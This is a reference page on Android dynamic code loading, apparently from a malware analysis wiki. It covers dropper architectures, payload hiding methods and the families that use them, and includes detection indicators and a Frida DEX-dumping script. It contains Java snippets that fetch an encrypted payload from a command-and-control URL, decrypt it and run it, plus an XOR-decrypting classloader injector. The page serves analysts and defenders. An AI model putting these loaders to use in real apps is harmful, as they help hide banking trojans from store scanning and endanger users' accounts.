Dynamic Code Loading¶
Loading executable code at runtime rather than including it in the APK. The APK that passes Google Play Protect scanning contains no malicious code -- the real payload is downloaded, decrypted, or assembled after installation. This is the foundational technique behind dropper-based malware distribution and the primary reason Play Store scanners fail to catch banking trojans at upload time.
See also: Packers, Hooking, Anti-Analysis Techniques
MITRE ATT&CK
| ID | Technique | Tactic |
|---|---|---|
| T1407 | Download New Code at Runtime | Defense Evasion |
Requirements
| Requirement | Details |
|---|---|
| Permission | INTERNET (for network-loaded payloads) |
| Storage | Writable directory for DEX files (getFilesDir(), getCacheDir()) |
| API | DexClassLoader, InMemoryDexClassLoader, PathClassLoader |
No special permissions needed. Any app can load code from its own private storage or memory.
Class Loaders¶
Android provides multiple class loaders for runtime code loading, each with different capabilities.
DexClassLoader¶
The standard approach. Loads a DEX or JAR file from disk, outputs an optimized OAT file to a specified directory.
File dexFile = new File(getFilesDir(), "payload.dex");
File optimizedDir = getDir("odex", Context.MODE_PRIVATE);
DexClassLoader loader = new DexClassLoader(
dexFile.getAbsolutePath(),
optimizedDir.getAbsolutePath(),
null,
getClassLoader()
);
Class<?> payloadClass = loader.loadClass("com.malware.Payload");
Method entryPoint = payloadClass.getMethod("execute", Context.class);
entryPoint.invoke(null, getApplicationContext());
InMemoryDexClassLoader¶
Introduced in Android 8.0 (API 26). Loads DEX directly from a ByteBuffer without writing to disk. Significantly harder to detect and extract because the payload never touches the filesystem.
byte[] dexBytes = decryptPayload(getEncryptedAsset("config.dat"));
ByteBuffer buffer = ByteBuffer.wrap(dexBytes);
InMemoryDexClassLoader loader = new InMemoryDexClassLoader(
buffer,
getClassLoader()
);
Class<?> cls = loader.loadClass("com.malware.Stage2");
cls.getMethod("init", Context.class).invoke(null, this);
PathClassLoader Manipulation¶
The default PathClassLoader loads the APK's own classes. Malware can manipulate its internal DexPathList to inject additional DEX files into the existing class loader rather than creating a new one. This makes the loaded code appear as part of the original APK to reflection-based inspection.
Object pathList = getField(classLoader, "pathList");
Object[] dexElements = (Object[]) getField(pathList, "dexElements");
Method makeElement = findMakeElementMethod(pathList);
Object newElement = makeElement.invoke(null, payloadDexFile);
Object[] combined = Arrays.copyOf(dexElements, dexElements.length + 1);
combined[dexElements.length] = newElement;
setField(pathList, "dexElements", combined);
Payload Sources¶
| Source | Stealth | Persistence | Used By |
|---|---|---|---|
| Encrypted asset in APK | Low (payload in APK, just encrypted) | High (survives without network) | Harly, most packers |
Resource file disguise (res/raw/) |
High (DEX hidden as JSON/animation file, name mimics Lottie or config) | High (survives without network) | Ad fraud droppers |
| Fake library namespace | High (loader classes placed in legitimate library package like coil.fetch.*) |
High | Ad fraud droppers |
| Network download from C2 | High (no payload in APK at install) | Low (requires C2 availability) | Joker, Anatsa, SharkBot |
| SharedPreferences (Base64) | Medium (stored as string data) | Medium | Joker variants |
| ContentProvider from another app | Medium (payload in separate app) | Medium | Triada (system-level) |
| Steganographic image | High (payload hidden in PNG/JPEG) | Medium (image cached locally) | Necro |
| Expansion files (OBB) | Medium (separate download from Play) | High | Older dropper techniques |
| Firebase/cloud config | High (legitimate service as payload host) | Low | SpyLoan variants |
Multi-Stage Dropper Architecture¶
The standard architecture for Play Store malware uses staged payload delivery to separate the benign-looking dropper from the malicious functionality.
Stage 1: Play Store Dropper¶
A functional app (QR scanner, PDF reader, file manager) that passes all Play Store checks. Contains no malicious code. After installation, it contacts C2 to determine whether to activate.
Common activation conditions:
- Time delay (24-72 hours post-install to evade sandbox analysis)
- Geographic check (IP geolocation or SIM country code)
- Device validation (not an emulator, no analysis tools detected)
- C2 flag (server-side kill switch)
Stage 2: Downloaded Payload¶
Once activated, Stage 1 downloads the real payload:
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder()
.url(c2Url + "/payload/" + deviceId)
.build();
Response response = client.newCall(request).execute();
byte[] encrypted = response.body().bytes();
byte[] dexBytes = decrypt(encrypted, derivedKey);
File payloadFile = new File(getFilesDir(), "classes.dex");
FileOutputStream fos = new FileOutputStream(payloadFile);
fos.write(dexBytes);
fos.close();
DexClassLoader loader = new DexClassLoader(
payloadFile.getAbsolutePath(),
getDir("opt", MODE_PRIVATE).getAbsolutePath(),
null,
getClassLoader()
);
loader.loadClass("com.payload.Main")
.getMethod("start", Context.class)
.invoke(null, this);
Stage 3: C2 Modules¶
Some families support modular architecture where individual capabilities are loaded as separate DEX modules from C2:
| Module | Functionality | Loaded When |
|---|---|---|
overlay.dex |
Inject kit for banking apps | Target app detected on device |
sms.dex |
SMS interception | Post-privilege escalation |
vnc.dex |
Remote screen access | Operator requests session |
keylog.dex |
Accessibility keylogger | Always loaded |
ats.dex |
Automated transfer scripts | Target bank identified |
Reflection-Based Instantiation¶
After loading a class, malware uses reflection to instantiate and invoke methods without compile-time dependencies. This also defeats static analysis since there are no direct references to the payload classes.
Class<?> cls = loader.loadClass("com.payload.EntryPoint");
Object instance = cls.getDeclaredConstructor().newInstance();
Method init = cls.getDeclaredMethod("initialize", Context.class, String.class);
init.setAccessible(true);
init.invoke(instance, context, c2Url);
Method run = cls.getDeclaredMethod("run");
run.setAccessible(true);
run.invoke(instance);
Families Using Dynamic Code Loading¶
| Family | Loading Method | Payload Source | Stages |
|---|---|---|---|
| Joker | DexClassLoader | C2 download, SharedPreferences | 2-3 |
| Anatsa | DexClassLoader | C2 download (staged) | 3 |
| SharkBot | DexClassLoader | Auto-update from C2 | 2 |
| Necro | InMemoryDexClassLoader | Steganographic PNG | 3 |
| Mandrake | DexClassLoader | Multi-stage C2 delivery | 4 |
| Harly | DexClassLoader | Encrypted APK assets | 2 |
| Triada | PathClassLoader injection | System partition / ContentProvider | 2 |
| Xenomorph | DexClassLoader | Dropper downloads payload APK | 2 |
| Hook | DexClassLoader | Dropper with encrypted asset | 2 |
| Vultur | DexClassLoader | C2 download (encrypted) | 3 |
| GoldPickaxe | InMemoryDexClassLoader | C2 download | 2 |
| SpyLoan | DexClassLoader | Firebase remote config | 2 |
XOR + Classloader Injection Packing¶
A common packing technique where the payload is stored as an encrypted asset file and injected into the running classloader at startup. Unlike multi-stage dropper architectures that download payloads from C2, this approach ships the encrypted payload inside the APK itself.
Loading Chain¶
Application.attachBaseContext()triggers the loader (beforeonCreate(), so the payload is ready before any activity starts)- An asset file (often with a numeric or obfuscated name) is read into memory
- The bytes are XOR-decrypted using
java.util.Randomwith a hardcoded seed as the PRNG - Decrypted bytes are a ZIP containing one or more
classes*.dexfiles - DEX files are loaded via
InMemoryDexClassLoader(API 26+) orDexClassLoaderfor older devices - The loaded
dexElementsarray is merged into the current classloader'spathList.dexElementsvia reflection
byte[] encrypted = readAsset("payload.bin");
Random rng = new Random(HARDCODED_SEED);
byte[] decrypted = new byte[encrypted.length];
for (int i = 0; i < encrypted.length; i++) {
decrypted[i] = (byte) (encrypted[i] ^ rng.nextInt(256));
}
ZipInputStream zis = new ZipInputStream(new ByteArrayInputStream(decrypted));
ByteBuffer dexBuffer = extractDex(zis);
InMemoryDexClassLoader loader = new InMemoryDexClassLoader(dexBuffer, getClassLoader());
Object pathList = getField(getClassLoader(), "pathList");
Object[] existing = (Object[]) getField(pathList, "dexElements");
Object[] injected = (Object[]) getField(getField(loader, "pathList"), "dexElements");
Object[] merged = Arrays.copyOf(existing, existing.length + injected.length);
System.arraycopy(injected, 0, merged, existing.length, injected.length);
setField(pathList, "dexElements", merged);
The outer shell is typically very small (10-20 classes) and looks innocent: just the Application class, a Runnable, and the decryptor. The real payload can be 2000+ classes. Static scanners that only analyze the outer DEX miss everything.
Detection¶
attachBaseContext()calling anything beyondsuper.attachBaseContext()InMemoryDexClassLoaderorDexClassLoaderusage in the Application class- Reflection on
BaseDexClassLoader.pathList.dexElements - High-entropy asset files with numeric or obfuscated names
- The XOR seed is always hardcoded: finding it enables offline decryption of the payload
Steganographic Payload Delivery¶
Steganography as Anti-Detection
Necro (2024) demonstrated a notable technique: the payload DEX is embedded within a PNG image using steganographic encoding. The loader extracts pixel data from the image's alpha channel, reassembles the bytes into a DEX file, and loads it via InMemoryDexClassLoader. The PNG itself is a valid image that displays normally, making it invisible to content-based scanning. Check for high-entropy image assets in the APK's resources and assets directories.
Connection to Packing¶
Commercial packers and malware dynamic loaders solve the same problem: executing code that is not visible in the APK's primary classes.dex. A packer encrypts the original DEX and bundles a stub that decrypts and loads it at runtime. The only architectural difference is that packers include the encrypted payload within the APK, while malware droppers download it from an external source.
See: Packers for detailed analysis of commercial packing solutions.
Platform Lifecycle¶
| Android Version | API | Change | Offensive Impact |
|---|---|---|---|
| 1.0 | 1 | DexClassLoader available |
Runtime DEX loading from disk |
| 5.0 | 21 | ART replaces Dalvik, OAT compilation | DEX still loadable, compiled to native at load time |
| 8.0 | 26 | InMemoryDexClassLoader introduced |
Fileless payload loading from ByteBuffer, no filesystem trace |
| 10 | 29 | Restricted access to /data/local/tmp |
Minor, malware uses app-private directories |
| 13 | 33 | Dynamic code loading audit warnings | Logged but not enforced |
| 14 | 34 | Dynamic code loading from writable paths triggers warning | DEX files in writable directories flagged by DexFile loading checks |
| 14 | 34 | ENFORCE_DYNAMIC_CODE_LOADING flag |
Apps can opt into read-only enforcement for loaded code |
| 15 | 35 | Stricter enforcement for apps targeting API 35 | Loaded DEX must be in read-only paths; malware marks files read-only after writing or uses InMemoryDexClassLoader |
Android 14's restriction is significant: DexClassLoader loading from getFilesDir() or getCacheDir() now logs warnings, and apps targeting API 34+ that set ENFORCE_DYNAMIC_CODE_LOADING will crash if the loaded file is writable. Malware adapts by marking payload files as read-only after writing, or by using InMemoryDexClassLoader to avoid the filesystem entirely.
InMemoryDexClassLoader Leaves No Filesystem Trace
If a sample uses InMemoryDexClassLoader, the payload DEX never touches disk. The only way to capture it is at runtime using Frida hooks on the class loader constructor (see the Frida script above) or by dumping the process memory. Static analysis alone will not reveal the payload.
Detection During Analysis¶
Static Indicators
DexClassLoaderorInMemoryDexClassLoaderin decompiled codeClass.forName()with string-constructed class namesMethod.invoke()patterns on reflectively loaded classes- Encrypted blobs in assets directory (high entropy files)
- Network URLs in strings referencing
.dex,.jar, or.apkdownloads getDir("odex")or similar optimized-DEX output directories
Dynamic Indicators
- New DEX files appearing in app's private storage post-launch
- Delayed network requests (hours after install) fetching large binary payloads
dlopenorSystem.loadLibraryfor native code loading variants- Process loading DEX files not present in the original APK
Frida Script -- Dump Dynamically Loaded DEX Files
Java.perform(function() {
var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log("[DCL] Loading DEX from: " + dexPath);
var f = Java.use("java.io.File").$new(dexPath);
console.log("[DCL] Size: " + f.length() + " bytes");
return this.$init(dexPath, optDir, libPath, parent);
};
var InMemDCL = Java.use("dalvik.system.InMemoryDexClassLoader");
InMemDCL.$init.overload("java.nio.ByteBuffer", "java.lang.ClassLoader")
.implementation = function(buffer, parent) {
console.log("[IMDCL] In-memory DEX loaded, size: " + buffer.remaining());
var bytes = Java.array("byte", new Array(buffer.remaining()));
buffer.get(bytes);
buffer.rewind();
var path = "/data/local/tmp/dumped_" + Date.now() + ".dex";
var fos = Java.use("java.io.FileOutputStream").$new(path);
fos.write(bytes);
fos.close();
console.log("[IMDCL] Dumped to: " + path);
return this.$init(buffer, parent);
};
var ClassLoader = Java.use("java.lang.ClassLoader");
ClassLoader.loadClass.overload("java.lang.String").implementation = function(name) {
if (name.indexOf("com.malware") !== -1 || name.indexOf("payload") !== -1) {
console.log("[CL] loadClass: " + name);
}
return this.loadClass(name);
};
});